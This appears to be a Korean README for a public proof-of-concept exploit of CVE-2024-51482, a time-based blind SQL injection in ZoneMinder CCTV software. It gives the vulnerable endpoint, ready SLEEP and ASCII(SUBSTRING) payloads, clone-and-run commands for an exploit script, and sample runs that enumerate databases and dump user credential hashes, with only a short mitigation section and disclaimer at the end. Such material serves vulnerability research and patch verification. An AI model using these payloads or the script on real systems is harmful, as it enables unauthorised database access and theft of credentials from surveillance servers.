
ZenoMinder 블라인드 SQL 인젝션 PoC
CVE-2024-51482는 인기 있는 오픈소스 CCTV 감시 소프트웨어인 ZoneMinder에서 발견된 심각한 boolean 기반 SQL 인젝션 취약점입니다. 이 결함은 버전 1.37.*부터 1.37.64까지 영향을 미치며, 낮은 권한을 가진 인증된 공격자가 기본 데이터베이스 서버에서 임의의 SQL 명령을 실행할 수 있도록 합니다.
| 지표 | 값 |
|---|---|
| CVE ID | CVE-2024-51482 |
| CVSS 점수 | 9.9 (심각) |
| 공격 벡터 | 네트워크 |
| 필요 권한 | 낮음 |
| 사용자 상호 작용 | 없음 |
| 범위 | 변경됨 |
| 영향 | 기밀성, 무결성, 가용성 - 높음 |
| 패치 버전 | 1.37.65 |
취약점은 web/ajax/event.php 파일의 removetag 함수에 존재합니다. tid(태그 ID) 매개변수가 적절한 정제 또는 매개변수화 없이 SQL 쿼리에 직접 연결됩니다.
취약한 코드:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // 취약!
$rowCount = dbNumRows($sql);
// ...
수정된 코드:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // 매개변수화된 쿼리
취약한 엔드포인트는 다음을 통해 트리거될 수 있습니다:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[인젝션_지점]
인젝션 지점은 응답에 쿼리 결과를 직접 반환하지 않으므로 전통적인 UNION 기반 공격이 불가능합니다. 대신, boolean 조건이나 시간 지연을 통해 정보를 추론해야 합니다.
익스플로잇은 SLEEP() 함수를 사용한 시간 기반 추출을 사용합니다:
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
이 조건이 참으로 평가되면 데이터베이스는 2초 동안 정지하여 HTTP 응답에 측정 가능한 지연을 생성합니다.
ASCII(SUBSTRING()) > MID를 사용하여 범위를 테스트합니다.SLEEP이 트리거됩니다.위치 1의 문자를 추출하는 예제 페이로드:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# 저장소 클론
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# 스크립트 실행 권한 부여
chmod +x CVE-2024-51482.py
# 필요한 종속성 설치
pip3 install requests
# 대상이 취약한지 테스트
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --test
# 모든 데이터베이스 검색
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --discover
# 특정 데이터베이스의 테이블 나열
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --tables zm
# 특정 테이블의 컬럼 나열
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --columns zm Users
# 특정 컬럼에서 데이터 덤프
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --dump zm Users "Username,Password"
# 사용자 테이블 덤프 (기본값)
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --users
# 상세 추출 과정을 위한 디버그 출력 활성화
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --users --debug
# 더 신뢰성 있는 추출을 위한 수면 시간 조정
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --users --sleep 3
# 컬러 출력 비활성화
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --users --no-color
예제 1: 취약점 테스트
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder 블라인드 SQL 인젝션 익스플로잇
[*] 대상: 192.168.1.100
[*] 192.168.1.100에 'admin'으로 로그인 중...
[+] 로그인 성공
[*] 기준 응답 시간 측정 중...
[*] 기준 중간값: 0.058초
[*] 2초 수면으로 취약점 테스트 중...
[+] 대상이 취약합니다!
예제 2: 데이터베이스 열거
$ python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder 블라인드 SQL 인젝션 익스플로잇
[*] 대상: <대상-호스트>
[*] <대상-호스트>에 'admin'으로 로그인 중...
[+] 로그인 성공
[*] 기준 응답 시간 측정 중...
[*] 기준 중간값: 0.065초
[*] 2초 수면으로 취약점 테스트 중...
[+] 대상이 취약합니다!
[*] 데이터베이스 열거 중...
[+] 데이터베이스 발견: information_schema
[+] 데이터베이스 발견: performance_schema
[+] 데이터베이스 발견: zm
[+] 발견된 데이터베이스:
1. information_schema
2. performance_schema
3. zm
예제 3: 사용자 자격 증명 덤프
$ python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder 블라인드 SQL 인젝션 익스플로잇
[*] 대상: <대상-호스트>
[*] <대상-호스트>에 'admin'으로 로그인 중...
[+] 로그인 성공
[*] 기준 응답 시간 측정 중...
[*] 기준 중간값: 0.062초
[*] 2초 수면으로 취약점 테스트 중...
[+] 대상이 취약합니다!
[*] zm 데이터베이스에서 Users 테이블 덤프 중...
[*] 'zm.Users'의 컬럼 열거 중...
[+] 컬럼 발견: Id
[+] 컬럼 발견: Username
[+] 컬럼 발견: Password
[+] 컬럼 발견: Language
[+] 컬럼 발견: Enabled
[*] 'zm.Users'에서 데이터 덤프 중...
[+] 행 1: {'Username': 'admin', 'Password': '$2y$10$...해시됨...'}
[+] 행 2: {'Username': 'operator', 'Password': '$2y$10$...해시됨...'}
[+] 추출된 사용자: 2
사용자: admin
비밀번호: $2y$10$...해시됨...
이메일: admin@localhost
활성화: 1
사용자: operator
비밀번호: $2y$10$...해시됨...
이메일: operator@localhost
활성화: 1
예제 4: 사용자 정의 데이터 추출
# Events 테이블에서 특정 컬럼 덤프
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2) 페이로드로 인젝션이 작동하는지 테스트합니다.ASCII(SUBSTRING(({query}), {position}, 1)) > {mid}.SLEEP 트리거 → 응답 지연.sudo apt-get update
sudo apt-get install zoneminder
# Apache 설정
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
이 도구는 교육 및 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 테스트는 불법입니다. 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| 지표 | 값 |
|---|
| 공격 벡터 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요 권한 | 낮음 |
| 사용자 상호 작용 | 없음 |
| 범위 | 변경됨 |
| 기밀성 | 높음 |
| 무결성 | 높음 |
| 가용성 | 높음 |